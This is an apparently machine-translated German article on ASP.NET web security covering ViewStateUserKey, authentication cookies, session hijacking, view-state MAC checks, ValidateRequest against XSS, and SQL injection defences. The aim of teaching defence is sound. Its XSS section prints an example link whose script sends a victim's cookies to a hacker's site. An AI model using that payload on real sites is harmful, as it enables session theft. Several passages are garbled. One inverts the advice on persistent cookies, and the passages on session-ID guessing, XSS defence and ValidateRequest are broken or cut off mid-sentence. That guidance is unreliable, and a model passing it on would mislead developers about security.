Was ASP.NET-Entwickler immer tun sollten Wenn Sie diesen Artikel lesen, müssen Sie wahrscheinlich nicht davon überzeugt sein, dass Sicherheit in Webanwendungen immer wichtiger wird. Was Sie wahrscheinlich benötigen, sind einige praktische Ratschläge zur Implementierung von Sicherheit in Ihrer ASP.NET-Anwendung. Die schlechte Nachricht ist, dass keine Entwicklungsplattform – einschließlich ASP.NET – garantieren kann, dass Sie nach der Einführung der Plattform 100 % sicheren Code schreiben können. Wer das sagt, muss lügen. Die gute Nachricht ist, dass im Fall von ASP.NET ASP.NET, insbesondere Version 1.1 und die kommende Version 2.0, einige integrierte Abwehrmechanismen enthält, die einfach zu verwenden sind.
Die Anwendung all dieser Funktionen allein reicht nicht aus, um eine Webanwendung vor jedem möglichen und vorhersehbaren Angriff zu schützen. In Kombination mit anderen Abwehrtechniken und Sicherheitsstrategien kann die integrierte ASP.NET-Funktionalität jedoch ein leistungsstarkes Toolkit bilden, um sicherzustellen, dass Anwendungen in einer sicheren Umgebung ausgeführt werden.
Web-Sicherheit ist die Summe vieler Faktoren und das Ergebnis einer Strategie, die weit über eine einzelne Anwendung hinausgeht und Datenbankverwaltung, Netzwerkkonfiguration sowie Social Engineering und Phishing umfasst.
Der Zweck dieses Artikels besteht darin, zu erklären, was ASP.NET-Entwickler immer tun sollten, um die Sicherheitsstandards auf einem angemessenen Niveau zu halten. Darum geht es bei der Sicherheit: wachsam zu bleiben und niemals völlig auf der Hut zu sein, was es den Bösewichten immer schwerer macht, zu hacken.
Schauen wir uns an, welche Funktionen ASP.NET bietet, um diese Arbeit zu vereinfachen.
Zurück zum Anfang der Bedrohungsquellen In Tabelle 1 habe ich die häufigsten Arten von Webangriffen zusammen mit den Fehlern in den Anwendungen zusammengefasst, die den Erfolg dieser Angriffe ermöglichen könnten.
Mögliche Täter von Angriffen Cross-Site-Scripting (XSS)
Nicht vertrauenswürdige Benutzereingaben werden auf der Seite wiedergegeben.
SQL-Injection. Verkettete Benutzereingaben, um einen SQL-Befehl zu bilden.
Sitzungsentführung. Sitzungs-ID. Erratene und gestohlene Sitzungs-ID. Cookies.
Unbeobachtetes HTTP mit einem Klick, das per Skript gesendet wird. Veröffentlichung
versteckter Domänenmanipulation. Ungeprüfte (und vertrauenswürdige) versteckte Felder werden mit sensiblen Daten gefüllt Daten
Was sind die wichtigsten Fakten, die aus dieser Liste
häufiger Webangriffe
hervorgehen?Meiner Meinung nach gibt es mindestens drei Dinge:
• Wann immer Sie Benutzereingaben in das Markup des Browsers einfügen, setzen Sie sich möglicherweise Code-Injection-Angriffen (jeder SQL-Injection- und XSS-Variante) aus.
• Der Datenbankzugriff muss auf sichere Weise implementiert werden, d. h. mit möglichst wenigen Berechtigungen für die Datenbank und einer Aufteilung der Verantwortlichkeiten auf einzelne Benutzer durch Rollen.
• Sensible Daten sollten niemals über das Netzwerk gesendet werden (geschweige denn im Klartext) und müssen auf sichere Weise auf dem Server gespeichert werden.
Interessanterweise zielen die oben genannten drei Punkte jeweils auf drei verschiedene Aspekte der Web-Sicherheit ab, und die Kombination dieser drei Aspekte ist die einzig sinnvolle Möglichkeit, angriffs- und manipulationssichere Anwendungen zu generieren. Die verschiedenen Ebenen der Web-Sicherheit lassen sich wie folgt zusammenfassen:
• Codierungspraktiken: Datenvalidierung, Typ- und Pufferlängenprüfungen, Manipulationsschutzmaßnahmen.
• Datenzugriffsrichtlinien: Verwenden Sie Entscheidungen, um die schwächsten Konten zu schützen, verwenden Sie gespeicherte Prozeduren oder zumindest Parametrisierung Befehl.
• Effektive Speicherung und Verwaltung: Senden Sie keine kritischen Daten an den Client, verwenden Sie Hash-Codes zur Erkennung von Vorgängen, authentifizieren Sie Benutzer und schützen Sie Identitäten, wenden Sie strenge Passwortrichtlinien an
Wie Sie sehen, können sichere Anwendungen nur durch die gemeinsame Anstrengung von Entwicklern, Architekten und Administratoren erstellt werden. Bitte gehen Sie nicht davon aus, dass Sie das gleiche Ziel auch auf andere Weise erreichen können.
Wenn Sie eine ASP.NET-Anwendung schreiben, sind Sie nicht allein gegen eine Armee von Hackern: Ihre einzigen Waffen sind die Codezeilen, die Sie mit Ihrem Gehirn, Ihren Fähigkeiten und Ihren Fingern eingeben. ASP.NET 1.1 und höher kommen mit spezifischen Funktionen zu Hilfe, die Ihren Schutz gegen einige der oben aufgeführten Bedrohungen automatisch erhöhen. Im Folgenden untersuchen wir sie im Detail.
ViewStateUserKey
ViewStateUserKey wurde seit ASP.NET 1.1 eingeführt und ist eine Zeichenfolgeneigenschaft der Page-Klasse, mit der nur wenige Entwickler wirklich vertraut sind. Warum? Mal sehen, was in der Dokumentation steht.
, einem einzelnen Benutzer in der mit der aktuellen Seite verknüpften Ansichtsstatusvariablen eine Kennung zuzuweisen
, ist die Bedeutung dieses Satzes ziemlich klar, aber können Sie mir ehrlich sagen, dass er den ursprünglichen Zweck der Eigenschaft beschreibt? Um die Rolle von ViewStateUserKey zu verstehen, müssen Sie bis zum Abschnitt „Bemerkungen“ weiterlesen.
Diese Eigenschaft trägt dazu bei, One-Click-Angriffe zu verhindern, da sie zusätzliche Eingaben zum Erstellen eines Hashs bereitstellt, der verhindert, dass der Ansichtsstatus manipuliert wird. Mit anderen Worten: ViewStateUserKey erschwert es Hackern erheblich, den Inhalt des Client-Ansichtsstatus zu nutzen, um böswillige Beiträge gegen eine Website vorzubereiten. Dieser Eigenschaft kann eine beliebige nicht leere Zeichenfolge zugewiesen werden, es handelt sich jedoch vorzugsweise um die Sitzungs-ID oder die Benutzer-ID. Um die Bedeutung dieser Eigenschaft besser zu verstehen, stellen wir kurz die Grundlagen von Ein-Klick-Angriffen vor.
Bei einem Ein-Klick-Angriff wird ein bösartiges HTTP-Formular auf einer bekannten, anfälligen Website veröffentlicht. Es wird „One-Click“ genannt, weil es oft damit beginnt, dass das Opfer versehentlich auf einen verlockenden Link klickt, den es per E-Mail oder beim Surfen in einem überfüllten Forum findet. Durch Klicken auf den Link löste der Benutzer versehentlich einen Remote-Prozess aus, der letztendlich dazu führte, dass ein schädliches <Formular> an eine Website gesendet wurde. Seien wir mal ehrlich: Können Sie mir wirklich sagen, dass Sie noch nie aus Neugier auf einen Link wie „Klicken Sie hier, um 1.000.000 US-Dollar zu gewinnen“ geklickt haben? Offensichtlich ist dir nichts Schlimmes passiert. Nehmen wir an, dass dies der Fall ist. Können Sie sagen, dass alle anderen in der Web-Community überlebt haben? Wer weiß.
Um erfolgreich zu sein, erfordert ein Ein-Klick-Angriff bestimmte Hintergrundbedingungen:
• Der Angreifer muss über ausreichende Kenntnisse über die anfällige Site verfügen. Dies ist möglich, weil der Angreifer die Datei „fleißig“ studieren könnte oder weil er ein verärgerter Insider ist (z. B. ein Mitarbeiter, der wegen Unehrlichkeit entlassen wurde). Daher können die Folgen eines solchen Angriffs äußerst schwerwiegend sein.
• Die Website muss Cookies verwenden (persistente Cookies sind besser), um Single Sign-On zu ermöglichen, und der Angreifer muss ein gültiges Authentifizierungscookie erhalten haben.
• Bestimmte Benutzer der Website waren an sensiblen Transaktionen beteiligt.
• Der Angreifer muss Zugriff auf die Zielseite haben.
Wie bereits erwähnt, besteht der Angriff darin, ein bösartiges HTTP-Formular an eine Seite zu senden, die auf das Formular wartet. Daraus kann geschlossen werden, dass diese Seite die veröffentlichten Daten verwendet, um einige sensible Vorgänge durchzuführen. Wie Sie sich vorstellen können, weiß der Angreifer genau, wie er jede Domain nutzt, und kann sich einige gefälschte Werte einfallen lassen, um seine Ziele zu erreichen. Hierbei handelt es sich in der Regel um einen zielspezifischen Angriff, der aufgrund der dadurch entstehenden Dreiecksbeziehung schwer zu verfolgen ist. Das heißt, der Hacker bringt das Opfer dazu, auf einen Link auf der Website des Hackers zu klicken, was wiederum dazu führt, dass der Schadcode auf einer Website veröffentlicht wird Dritte. Drei Websites.
Warum das ahnungslose Opfer? Dies liegt daran, dass in diesem Fall die IP-Adresse, von der aus die böswillige Anfrage in den Serverprotokollen erscheint, die IP-Adresse des Opfers ist. Wie bereits erwähnt, ist dieses Tool nicht so verbreitet (und einfach zu starten) wie „klassisches“ XSS, seine Natur kann jedoch katastrophale Folgen haben. Wie damit umgehen? Als nächstes untersuchen wir, wie dieser Angriff in der ASP.NET-Umgebung funktioniert.
Sofern die Aktion nicht im Page_Load-Ereignis codiert ist, ist es für eine ASP.NET-Seite einfach unmöglich, vertraulichen Code außerhalb eines Postback-Ereignisses auszuführen. Damit das Postback-Ereignis auftritt, ist das Ansichtsstatusfeld erforderlich. Beachten Sie, dass ASP.NET den Postback-Status der Anfrage prüft und IsPostBack entsprechend festlegt, je nachdem, ob das Eingabefeld _VIEWSTATE vorhanden ist. Daher muss jeder, der eine gefälschte Anfrage an eine ASP.NET-Seite senden möchte, ein gültiges Ansichtsstatusfeld bereitstellen.
Damit ein Ein-Klick-Angriff erfolgreich ist, muss der Hacker Zugriff auf die Seite haben. An dieser Stelle würde ein weitsichtiger Hacker die Seite lokal speichern. Auf diese Weise kann er/sie auf das Feld _VIEWSTATE zugreifen und dieses Feld verwenden, um Anfragen mit altem Ansichtsstatus und schädlichen Werten aus anderen Feldern zu erstellen. Die Frage ist: Wird das funktionieren?
Warum nicht? Wenn der Angreifer ein gültiges Authentifizierungs-Cookie bereitstellen kann, verschafft sich der Hacker Zugang und die Anfrage wird wie gewohnt verarbeitet. Ansichtsstatusinhalte werden auf dem Server überhaupt nicht überprüft (wenn EnableViewStataMac ausgeschaltet ist) oder nur, wenn sie manipuliert wurden. Standardmäßig gibt es im Ansichtsstatus keinen Mechanismus, um diesen Inhalt einem bestimmten Benutzer zuzuordnen. Ein Angreifer kann den erhaltenen Ansichtsstatus leicht wiederverwenden, um legitim auf die Seite zuzugreifen, indem er sich als ein anderer Benutzer ausgibt, um gefälschte Anfragen zu generieren. Hier kommt ViewStateUserKey ins Spiel.
Bei richtiger Auswahl kann diese Eigenschaft dem Ansichtsstatus benutzerspezifische Informationen hinzufügen. Bei der Verarbeitung einer Anfrage extrahiert ASP.NET den Schlüssel aus dem Ansichtsstatus und vergleicht ihn mit dem ViewStateUserKey der laufenden Seite. Wenn die beiden übereinstimmen, wird die Anfrage als legitim betrachtet; andernfalls wird eine Ausnahme ausgelöst. Welche Werte gelten für dieses Attribut?
Das Festlegen von ViewStateUserKey auf eine konstante Zeichenfolge für alle Benutzer ist gleichbedeutend damit, es leer zu lassen. Sie müssen einen Wert festlegen, der für jeden Benutzer unterschiedlich ist – eine Benutzer-ID, vorzugsweise eine Sitzungs-ID. Aus einigen technischen und sozialen Gründen sind Sitzungs-IDs besser geeignet, da Sitzungs-IDs unvorhersehbar sind, mit der Zeit ablaufen und für jeden Benutzer unterschiedlich sind.
Hier ist ein Code, der auf allen Ihren Seiten unerlässlich ist:
void Page_Init (object sender, EventArgs e) {
ViewStateUserKey = Session.SessionID;
:
}
Um das wiederholte Schreiben dieses Codes zu vermeiden, können Sie sie in der virtuellen OnInit-Methode einer von Page abgeleiteten Klasse anheften. (Beachten Sie, dass Sie diese Eigenschaft im Page.Init-Ereignis festlegen müssen.)
protected override OnInit(EventArgs e) {
base.OnInit(e);
ViewStateUserKey = Session.SessionID;
}
Im Allgemeinen ist die Verwendung von Basisseitenklassen immer eine gute Sache, wie ich im Artikel „Erstellen Sie Ihre ASP.NET-Seiten auf einem reichhaltigeren Grundgestein“ erläutert habe. Wenn Sie mehr über die Taktiken von One-Click-Angreifern erfahren möchten, finden Sie einen sehr guten Artikel auf aspnetpro.com.
Cookies und Authentifizierung
Cookies existieren, weil sie Entwicklern dabei helfen, einen bestimmten Zweck zu erreichen. Cookies fungieren als dauerhafte Verbindung zwischen dem Browser und dem Server. Insbesondere bei Anwendungen, die Single Sign-On nutzen, sind gestohlene Cookies die Grundlage für Angriffe. Dies gilt absolut für einen Ein-Klick-Angriff.
Um Cookies zu verwenden, müssen Sie diese nicht explizit programmgesteuert erstellen und lesen. Wenn Sie den Sitzungsstatus verwenden und die Formularauthentifizierung implementieren, verwenden Sie implizit Cookies. Natürlich unterstützt ASP.NET den Sitzungsstatus ohne Cookies, und ASP.NET 2.0 führt auch die Formularauthentifizierung ohne Cookies ein. Daher können Sie diese Funktionen theoretisch auch ohne Cookies nutzen. Ich sage nicht, dass Sie das nicht mehr tun müssen, aber Tatsache ist, dass dies eine dieser Situationen ist, in denen die Heilung schlimmer ist als die Krankheit. Bei einer Sitzung ohne Cookies wird die Sitzungs-ID tatsächlich in die URL eingebettet, sodass sie jeder sehen kann.
Welche potenziellen Probleme können mit der Verwendung von Cookies verbunden sein? Cookies können gestohlen (d. h. auf den Computer eines Hackers kopiert) und verfälscht (d. h. mit schädlichen Daten gefüllt) werden. Diese Aktionen sind oft der Auftakt für einen bevorstehenden Angriff. Wenn das Cookie gestohlen wird, „autorisiert“ es externe Benutzer, sich in Ihrem Namen mit der Anwendung zu verbinden (und geschützte Seiten zu nutzen), was es einem Hacker möglicherweise ermöglicht, die Autorisierung einfach zu umgehen und das zu tun, was die Rolle und Sicherheitseinstellungen dem Opfer erlauben. jede Operation. Daher haben Authentifizierungscookies in der Regel eine relativ kurze Lebensdauer von 30 Minuten. (Beachten Sie, dass das Cookie auch dann abläuft, wenn eine Browsersitzung länger dauert.) Im Falle eines Diebstahls haben Hacker ein Zeitfenster von 30 Minuten, um einen Angriff zu versuchen.
Sie können dieses Zeitlimit verlängern, damit sich Benutzer nicht zu oft anmelden müssen. Beachten Sie jedoch, dass Sie sich dadurch einem Risiko aussetzen. Der Einsatz von ASP.NET-Persistent-Cookies sollte unter keinen Umständen vermieden werden. Das Ergebnis sind Cookies mit einer nahezu dauerhaften Lebensdauer von bis zu 50 Jahren! Der folgende Codeausschnitt zeigt, wie Sie das Ablaufdatum eines Cookies einfach ändern können.
void OnLogin(object sender, EventArgs e) {
// Anmeldeinformationen prüfen
if (ValidateUser(user, pswd)) {
// Ablaufdatum des Cookies festlegen
HttpCookie-Cookie;
cookie = FormsAuthentication.GetAuthCookie(user, isPersistent);
if (isPersistent)
cookie.Expires = DateTime.Now.AddDays(10);
//Das Cookie zur Antwort hinzufügen
Response.Cookies.Add(cookie);
//Umleiten
string targetUrl;
targetUrl = FormsAuthentication.GetRedirectUrl(user, isPersistent);
Response.Redirect(targetUrl);
}
}
Sie können diesen Code in Ihrem Anmeldeformular verwenden, um die Lebensdauer des Authentifizierungscookies zu optimieren.
Session-Hijacking
Cookies werden auch verwendet, um den Sitzungsstatus für einen bestimmten Benutzer abzurufen. Die Sitzungs-ID wird in einem Cookie gespeichert, das mit der Anfrage hin- und hergesendet und auf dem Rechner des Browsers gespeichert wird. Wenn ein Sitzungscookie gestohlen wird, könnte er einem Hacker ebenfalls ermöglichen, in das System einzudringen und auf den Sitzungsstatus einer anderen Person zuzugreifen. Dies ist selbstverständlich möglich, solange die angegebene Sitzung aktiv ist (normalerweise nicht länger als 20 Minuten). Ein Angriff über einen imitierten Sitzungsstatus wird als Session-Hijacking bezeichnet. Weitere Informationen zum Sitzungs-Hijacking finden Sie unter „Theft On The Web: Session Hijacking verhindern“.
Wie gefährlich ist dieser Angriff? Es ist schwer zu sagen. Dies hängt von der Funktionalität der Website und, was noch wichtiger ist, davon ab, wie die Seiten der Website gestaltet sind. Angenommen, Sie könnten das Sitzungscookie einer anderen Person erhalten und es an eine Anfrage für eine Seite auf Ihrer Website anhängen. Sie laden die Seite und durchlaufen die normale Benutzeroberfläche. Sie können weder Code in die Seite einfügen noch etwas an der Seite ändern, es sei denn, die Seite funktioniert unter Verwendung des Sitzungsstatus eines anderen Benutzers. Das ist an sich nicht so schlimm, aber wenn die Informationen in dieser Sitzung vertraulich und kritisch sind, könnte dies direkt zu einem erfolgreichen Exploit führen. Ein Hacker kann nicht in den Inhalt eines Sitzungsspeichers eindringen, aber er kann die dort gespeicherten Informationen nutzen, als ob er legal eingedrungen wäre. Stellen Sie sich beispielsweise eine E-Commerce-Anwendung vor, bei der Benutzer Artikel in ihren Einkaufswagen legen, während sie auf der Website surfen.
• Option 1. Der Inhalt des Warenkorbs wird im Sitzungsstatus gespeichert. Beim Bezahlvorgang werden Benutzer jedoch gebeten, die Zahlungsdetails zu bestätigen und über eine sichere SSL-Verbindung einzugeben. In diesem Fall kann der Hacker durch Zugriff auf den Sitzungsstatus anderer Benutzer nur einige Details über die Einkaufspräferenzen des Opfers erfahren. Eine Entführung in dieser Umgebung verursacht eigentlich keinen Schaden. Auf dem Spiel steht die Vertraulichkeit.
• Option 2. Die Anwendung verarbeitet ein Profil für jeden registrierten Benutzer und speichert das Profil im Sitzungsstatus. Schlimmer noch: Das Profil enthält (wahrscheinlich) Kreditkarteninformationen. Warum werden Profildetails in der Sitzung gespeichert? Vielleicht besteht eines der Ziele der App darin, im Wesentlichen zu verhindern, dass Benutzer ihre Kreditkarten- und Bankdaten wiederholt eingeben müssen. Daher leitet die Anwendung den Benutzer beim Bezahlen zu einer Seite mit einer vorab ausgefüllten Domain weiter. Unnötigerweise handelt es sich bei einem dieser Felder um eine Kreditkartennummer, die aus dem Sitzungsstatus stammt. Können Sie jetzt erraten, wie die Geschichte endet?
Das Design von Anwendungsseiten ist der Schlüssel zur Verhinderung von Session-Hijacking-Angriffen. Natürlich sind noch zwei Punkte ungeklärt. Der erste Punkt ist: Wie kann man Cookie-Diebstahl verhindern? Der zweite Punkt ist: Wie kann ASP.NET Hijacking erkennen und verhindern?
ASP.NET-Sitzungscookies sind äußerst einfach und beschränken sich darauf, die Sitzungs-ID-Zeichenfolge selbst zu enthalten. Die ASP.NET-Laufzeit extrahiert die Sitzungs-ID aus dem Cookie und vergleicht sie mit der aktiven Sitzung. Wenn die ID gültig ist, stellt ASP.NET eine Verbindung zur entsprechenden Sitzung her und fährt fort. Dieses Verhalten erleichtert Hackern erheblich, die eine gültige Sitzungs-ID gestohlen haben oder erraten können.
XSS- und Man-in-the-Middle-Angriffe sowie Brute-Force-Zugriff auf den Client-PC sind allesamt Möglichkeiten, an gültige Cookies zu gelangen. Um Diebstahl zu verhindern, sollten Sie Best Practices für die Sicherheit implementieren, um den Erfolg von XSS und seinen Varianten zu verhindern.
Und um das Erraten der Sitzungs-ID zu verhindern, sollten Sie einfach vermeiden, Ihre Fähigkeiten zu überschätzen. Wenn Sie eine Sitzungs-ID erraten, wissen Sie, wie Sie eine gültige Sitzungs-ID-Zeichenfolge vorhersagen können. Für den von ASP.NET verwendeten Algorithmus (15 Zufallszahlen, die URL-aktivierten Zeichen zugeordnet sind) liegt die Wahrscheinlichkeit, zufällig eine gültige ID zu erraten, nahe bei Null. Ich kann mir keinen Grund vorstellen, den Standard-Sitzungs-ID-Generator durch Ihren eigenen zu ersetzen. In vielen Fällen wird dies die Sache für den Angreifer nur einfacher machen.
Die schlimmste Konsequenz von Session-Hijacking ist, dass ASP.NET keine Möglichkeit mehr hat, die betrügerische Verwendung von Cookies zu erkennen, sobald ein Cookie gestohlen oder erraten wurde. Auch hier liegt der Grund darin, dass ASP.NET sich darauf beschränkt, die Gültigkeit der ID und die Herkunft des Cookies zu überprüfen.
Mein Freund Jeff Prosise von Wintellect hat einen guten Artikel über Session-Hijacking für das MSDN Magazine geschrieben. Sein Fazit ist nicht tröstlich: Es ist nahezu unmöglich, Abwehrmaßnahmen aufzubauen, die vollständig vor Angriffen schützen können, die auf gestohlenen Sitzungs-ID-Cookies basieren. Doch der von ihm entwickelte Code liefert sehr sinnvolle Vorschläge zur weiteren Verbesserung der Sicherheitsstandards. Jeff hat ein HTTP-Modul erstellt, das eingehende Anfragen und ausgehende Antworten auf Sitzungs-ID-Cookies überwacht. Dieses Modul hängt einen Hash-Code an die Sitzungs-ID an, wodurch es für einen Angreifer schwieriger wird, das Cookie wiederzuverwenden. Die Details können Sie hier nachlesen.
EnableViewStateMac
Der Ansichtsstatus wird verwendet, um den Status eines Steuerelements zwischen zwei aufeinanderfolgenden Anforderungen für dieselbe Seite beizubehalten. Standardmäßig ist der Ansichtsstatus Base64-codiert und mit einem Hash signiert, um Manipulationen zu verhindern. Es ist nicht möglich, den Ansichtsstatus zu manipulieren, ohne die Standardseiteneinstellungen zu ändern. Wenn ein Angreifer den Ansichtsstatus ändert oder sogar den Ansichtsstatus mit dem richtigen Algorithmus neu generiert, fängt ASP.NET diese Versuche ab und löst eine Ausnahme aus. Manipulationen am Ansichtsstatus sind nicht zwangsläufig schädlich, auch wenn dadurch der Status der Serverkontrollen verändert wird – sie können jedoch ein Vehikel für schwere Infektionen sein. Daher ist es äußerst wichtig, die standardmäßig durchgeführte Gegenprüfung des Computerauthentifizierungscodes (MAC) nicht zu entfernen.
Wenn die MAC-Überprüfung aktiviert ist (Standardeinstellung), wird ein Hash-Wert an den serialisierten Ansichtsstatus angehängt, der mithilfe eines serverseitigen Werts und des Benutzergeheimnisses des Ansichtsstatus (falls vorhanden) generiert wird. Wenn der Ansichtsstatus zurückgesendet wird, wird der Hash mithilfe des neuen serverseitigen Werts neu berechnet und mit dem gespeicherten Wert verglichen. Wenn die beiden übereinstimmen, wird die Anfrage zugelassen; andernfalls wird eine Ausnahme ausgelöst. Selbst wenn ein Hacker in der Lage wäre, den Ansichtsstatus zu knacken und wiederherzustellen, müsste er dennoch den vom Server gespeicherten Wert kennen, um einen gültigen Hash abzuleiten. Insbesondere muss der Hacker den Computerschlüssel kennen, auf den im <machineKey>-Eintrag von machine.config verwiesen wird.
Standardmäßig werden Einträge automatisch generiert und physisch in der Windows Local Security Authority (LSA) gespeichert. Nur im Fall einer Webfarm, bei der der Maschinenschlüssel für den Anzeigestatus auf allen Maschinen gleich sein muss, sollten Sie ihn als Klartext in der Datei machine.config angeben.
Die MAC-Überprüfung des Ansichtsstatus wird über ein @Page-Anweisungsattribut namens EnableViewStateMac gesteuert. Wie bereits erwähnt, ist es standardmäßig auf „true“ gesetzt. Bitte deaktivieren Sie dies niemals. Andernfalls ist ein Ein-Klick-Angriff auf die Manipulation des Ansichtszustands mit hoher Erfolgswahrscheinlichkeit möglich.
ValidateRequest
Cross-Site-Scripting (XSS) ist seit 1999 für viele erfahrene Webentwickler ein alter Bekannter. Einfach ausgedrückt: XSS nutzt Schwachstellen im Code aus, um den ausführbaren Code eines Hackers in die Browsersitzung eines anderen Benutzers einzuschleusen. Wenn der injizierte Code ausgeführt wird, kann er eine Reihe verschiedener Aktionen ausführen – ein Cookie abrufen und eine Kopie auf eine von Hackern kontrollierte Website hochladen, die Websitzung des Benutzers überwachen und Daten weiterleiten, das Verhalten und Erscheinungsbild der gehackten Seite so ändern, dass sie funktioniert Geben Sie falsche Informationen an oder machen Sie sich sogar hartnäckig, sodass der betrügerische Code erneut ausgeführt wird, wenn der Benutzer das nächste Mal auf die Seite zurückkehrt. Lesen Sie mehr über die Grundlagen von XSS-Angriffen im TechNet-Artikel Cross-site Scripting Overview.
Welche Schwachstellen im Code ermöglichen XSS-Angriffe?
XSS nutzt Webanwendungen aus, die dynamisch HTML-Seiten generieren, aber die an die Seite zurückgegebenen Eingaben nicht validieren. Die Eingabe hier bezieht sich auf Abfragezeichenfolgen, Cookies und den Inhalt von Formularfeldern. Wenn dieser Inhalt ohne ordnungsgemäße Leistungsprüfung im Web erscheint, besteht die Gefahr, dass Hacker ihn manipulieren können, um bösartige Skripte in Client-Browsern auszuführen. (Der zuvor erwähnte One-Click-Angriff ist eigentlich eine neuere Variante von XSS.) Ein typischer XSS-Angriff führt dazu, dass ein ahnungsloser Benutzer auf einen verlockenden Link klickt, in den der Skriptcode eingebettet ist. Der betrügerische Code wird an eine anfällige Seite gesendet, die ihn ohne Verdacht ausgibt. Hier ist ein Beispiel dafür, was passieren könnte:
<a href=" http://www.vulnerableserver.com/brokenpage.aspx?Name =
<script>document.location.replace(
'http://www.hackersite.com/HackerPage.aspx?
Cookie=' + document.cookie);
</script>">Klicken Sie hier, um Ihren Preis einzufordern</a>
Der Benutzer klickt auf einen scheinbar sicheren Link, was letztendlich dazu führt, dass ein Skriptcode an eine anfällige Seite weitergeleitet wird. Diese Codes rufen zunächst alle Cookies auf dem Computer des Benutzers ab. Das sind sie Anschließend wird es an die Website des Hackers gesendet.
Es ist wichtig zu beachten, dass XSS kein herstellerspezifisches Problem ist und daher nicht unbedingt alle derzeit auf dem Markt befindlichen Webserver und Browser betrifft. Es ist zu beachten, dass dieses Problem nicht durch einen einzelnen Patch behoben werden kann Problem: Sie können Ihre Seiten durch die Anwendung spezifischer Maßnahmen und angemessener Codierungspraktiken vollständig schützen.
Um sich gegen XSS zu verteidigen, müssen Sie dies
nicht tunBestimmen Sie, welche Eingaben gültig sind, und verweigern Sie dann alle anderen Eingaben. Eine ausführliche Checkliste zur Abwehr von XSS-Angriffen finden Sie in diesem Buch von Michael Howard und David LeBlanc, das ich unbedingt lesen muss dass Sie Kapitel 13 lesen.
Die wichtigste Möglichkeit, heimtückische XSS-Angriffe zu verhindern, besteht darin, Ihre Eingaben (jede Art von Eingabedaten) mit einer gut gestalteten und effektiven Validierungsebene zu versehen, beispielsweise
in
einigen Fällen sogar mit ansonsten harmlosen Farben tricolor) brachte unkontrollierte Skripte direkt in die Seite.Wenn das ValidateRequest-Attribut in der @Page-Direktive aktiviert ist, wird eine Prüfung durchgeführt, um sicherzustellen, dass der Benutzer keine potenziell gefährlichen HTML-Tags in der Abfragezeichenfolge, in Cookies oder in Formularfeldern gesendet hat. Wenn dies erkannt wird, wird eine Ausnahme ausgelöst und die Anfrage abgebrochen. Dieses Attribut ist standardmäßig aktiviert. Wenn Sie die Weitergabe von HTML-Tags zulassen möchten Attribut.
<%@ Page ValidateRequest="false" %>
ValidateRequest ist kein Ersatz für eine gültige Validierungsschicht. Lesen Sie hier viele wertvolle Informationen zu den zugrunde liegenden Prinzipien dieser Funktion Schädliche Sequenzen durch Anwenden eines regulären Ausdrucks.
HINWEIS Die ValidateRequest-Funktion ist von Natur aus fehlerhaft. Sie müssen also einen Patch anwenden, damit sie wie erwartet
funktioniert ValidateRequest! Gründe: Sie können es deaktivieren, aber Sie müssen einen sehr guten Grund haben. Ein solcher Grund könnte sein, dass Benutzer in der Lage sein müssen, etwas HTML auf der Website zu posten, um bessere Formatierungsoptionen zu erhalten. In diesem Fall sollten Sie die Anzahl der zulässigen HTML-Tags (<pre>, <b>, <i>, <p>, <br>, <hr>) begrenzen und einen regulären Ausdruck schreiben, um sicherzustellen, dass nichts anderes zulässig ist oder akzeptiert.
Hier sind einige zusätzliche Tipps zum Schutz von ASP.NET vor XSS-Angriffen:
• Verwenden Sie HttpUtility.HtmlEncode, um gefährliche Symbole in ihre HTML-Darstellungen zu konvertieren.
• Verwenden Sie doppelte Anführungszeichen anstelle von einfachen Anführungszeichen, da die HTML-Codierung nur doppelte Anführungszeichen maskiert.
• Erzwingen Sie eine Codepage, um die Anzahl der Zeichen zu begrenzen, die verwendet werden können.
Kurz gesagt: Verwenden Sie die ValidateRequest-Eigenschaft, vertrauen Sie ihr jedoch nicht völlig und seien Sie nicht zu faul. Nehmen Sie sich die Zeit, Sicherheitsbedrohungen wie XSS grundlegend zu verstehen und eine Verteidigungsstrategie zu planen, die sich auf einen zentralen Punkt konzentriert: Alle Benutzereingaben sind gefährlich.
Datenbankperspektive
SQL-Injection ist ein weiterer bekannter Angriffstyp, der Anwendungen ausnutzt, die nicht bereinigte Benutzereingaben verwenden, um Datenbankbefehle zu bilden. Wenn eine Anwendung genüsslich die Eingaben des Benutzers in ein Formularfeld verwendet, um eine SQL-Befehlszeichenfolge zu erstellen, setzt sie sich dem Risiko aus, dass ein böswilliger Benutzer die Art der Abfrage ändern kann, indem er einfach die Seite besucht und betrügerische Parameter eingibt. Mehr über SQL-Injection erfahren Sie hier.
Es gibt viele Möglichkeiten, SQL-Injection-Angriffe zu verhindern. Die gängigsten Techniken werden im Folgenden beschrieben.
• Stellen Sie sicher, dass die Benutzereingaben vom richtigen Typ sind und dem erwarteten Muster folgen (Postleitzahl, ID-Nummer, E-Mail usw.). Wenn eine Zahl aus einem Textfeld erwartet wird, blockieren Sie die Anfrage, wenn der Benutzer etwas eingibt, das nicht in eine Zahl umgewandelt werden kann.
• Verwenden Sie parametrisierte Abfragen, vorzugsweise gespeicherte Prozeduren.
• Verwenden Sie SQL Server-Berechtigungen, um die Aktionen einzelner Benutzer in der Datenbank einzuschränken. Beispielsweise müssen Sie möglicherweise xp_cmdshell deaktivieren oder den Vorgang auf Administratoren beschränken.
Wenn Sie gespeicherte Prozeduren verwenden, können Sie die Möglichkeit dieses Angriffs erheblich reduzieren. Tatsächlich müssen Sie bei gespeicherten Prozeduren keine SQL-Zeichenfolgen dynamisch erstellen. Darüber hinaus überprüft SQL Server, ob alle Parameter den angegebenen Typ haben. Obwohl diese Techniken allein nicht 100 % sicher sind, reichen sie in Verbindung mit der Verifizierung aus, um die Sicherheit zu verbessern.
Noch wichtiger ist, dass Sie sicherstellen, dass nur autorisierte Benutzer Vorgänge ausführen können, die schwerwiegende Folgen haben können, beispielsweise das Löschen einer Tabelle. Dies erfordert eine sorgfältige Gestaltung der Mittelschicht der Anwendung. Eine gute Technik (nicht nur aus Sicherheitsgründen) besteht darin, den Fokus auf den Charakter zu richten. Benutzer sollten in Rollen gruppiert und ein Konto mit einem Mindestsatz an Berechtigungen für jede Rolle definiert werden.
Vor einigen Wochen wurde die Wintellect-Website einem sehr raffinierten SQL-Injection-Angriff ausgesetzt. Der Hacker versuchte, ein FTP-Skript zu erstellen und zu starten, um ein potenziell schädliches ausführbares Programm herunterzuladen. Glücklicherweise scheiterte der Angriff. Oder waren es tatsächlich die starke Benutzerauthentifizierung, die Verwendung gespeicherter Prozeduren und die Verwendung von SQL Server-Berechtigungen, die zum Scheitern des Angriffs führten?
